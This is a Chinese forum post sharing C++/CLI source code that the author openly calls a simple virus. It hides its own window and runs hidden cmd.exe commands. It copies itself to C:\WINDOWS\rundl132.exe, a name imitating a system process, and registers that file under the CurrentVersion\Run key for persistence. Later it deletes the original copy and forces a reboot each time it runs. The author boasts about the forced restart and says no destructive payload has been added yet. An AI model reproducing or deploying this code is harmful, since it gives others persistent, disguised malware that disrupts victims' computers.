许多DOS高手或者喜欢搞点小破坏的人都希望可以在程序中随意的修改注册表,下面给个修改注册表和执行DOS命令的例子,偶自己写的,为了不成为火星人,也来点原创的了,哈哈!!
#pragma once
namespace regeditopr {
using namespace System;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::IO;
using namespace System::Drawing;
using namespace Microsoft::Win32;
/// <summary>
/// Form1 摘要
///
/// 警告: 如果更改此类的名称,则需要更改
/// 与此类所依赖的所有 .resx 文件关联的托管资源编译器工具的
/// “资源文件名”属性。否则,
/// 设计器将不能与此窗体的关联
/// 本地化资源正确交互。
/// </summary>
public ref class Form1 : public System::Windows::Forms::Form
{
public:
Form1(void)
{
InitializeComponent();
//
//TODO: 在此处添加构造函数代码
//
}
protected:
/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
~Form1()
{
if (components)
{
delete components;
}
}
private: System::Windows::Forms::Button^ button1;
protected:
private:
/// <summary>
/// 必需的设计器变量。
/// </summary>
System::ComponentModel::Container ^components;
#pragma region Windows Form Designer generated code
/// <summary>
/// 设计器支持所需的方法 - 不要
/// 使用代码编辑器修改此方法的内容。
/// </summary>
void InitializeComponent(void)
{
this->button1 = (gcnew System::Windows::Forms::Button());
this->SuspendLayout();
//
// Form1
//
this->AutoScaleDimensions = System::Drawing::SizeF(6, 12);
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
this->ClientSize = System::Drawing::Size(292, 266);
this->Controls->Add(this->button1);
this->Name = L"Form1";
this->Text = L"Form1";
this->Visible=false;
this->ResumeLayout(false); //前面的基本上没用,程序根本不需要界面
System::Diagnostics::Process^ p=gcnew System::Diagnostics::Process(); p-> StartInfo->FileName=L"cmd.exe"; //要执行的程序,打开命令行
p->StartInfo->UseShellExecute=false;
p->StartInfo->RedirectStandardInput=true; //接受流中的输入信息
p->StartInfo->RedirectStandardOutput=true; //允许捕获命令行输出信息
p->StartInfo->CreateNoWindow=true; //不显示命令行窗口
p->Start(); //启动命令行
Microsoft::Win32::RegistryKey^ firstReg=Registry::CurrentUser;
Microsoft::Win32::RegistryKey^ myReg=firstReg->CreateSubKey("Software//Microsoft//Windows//CurrentVersion//Run"); //将对象定位到系统启动项目对应的注册表项
Microsoft::Win32::RegistryKey^ myReg1=firstReg->CreateSubKey("Software//Microsoft//Windows//CurrentVersion//winnt"); //创建子项
System::Object^ myobj=myReg1->GetValue(L"rundl132.exe"); //检查myreg1子项中有没有 //rundl132.exe键值
if(myobj!=nullptr){ //若有删掉创建此子项的程序
myobj=myReg1->GetValue(L"pengfei.exe");
if(myobj!=nullptr){
String^ direct=myobj->ToString();
myReg1->DeleteValue(L"pengfei.exe");
String^ cmd1=String::Concat(L"del /q ",direct);
p->StandardInput->WriteLine(cmd1);
}
//cmd1=L"xcopy"
//p->StandardInput->WriteLine(cmd1); //向命令行中写入命令
}
else{ //否则将程序写如启动项目,并在winnt中设置标志
Microsoft::Win32::RegistryKey^ firstReg=Registry::CurrentUser;
myReg->SetValue(L"rundll32.exe",L"C://WINDOWS//rundl132.exe",RegistryValueKind::String);
myReg1->SetValue(L"rundll32.exe",L"ready",RegistryValueKind::String);
String^ dir=String::Concat(Directory::GetCurrentDirectory(),L"//regeditopr.exe");
myReg1->SetValue(L"pengfei.exe",dir,RegistryValueKind::String);
String^ cmd=String::Concat(L"copy ",dir,L" C://WINDOWS//rundl132.exe");
p->StandardInput->WriteLine(cmd);
}
p->StandardInput->WriteLine(L"shutdown -r -t 10");//10秒后重启,哈哈 ,够狠吧
p->StandardInput->WriteLine(L"exit"); //退出命令行
p->Close(); //释放资源
this->Close();
}
#pragma endregion
};
}
程序实现的功能实际上是第一次运行时将自身复制到C盘WINDOWS目录,并将此值写入注册表,同时在CURRENTVERSION中创建子项WINNT,在其中创建rundl132.exe(现在好多病毒都伪造这个进程)键值,然后让系统重启,因为已经写入启动项目,下次开机自动执行,并检查winnt子项,证明已经不是第一次运行后,删掉第一次执行的程序,实际上是一个简单的病毒,但是还没有加入破坏的程序。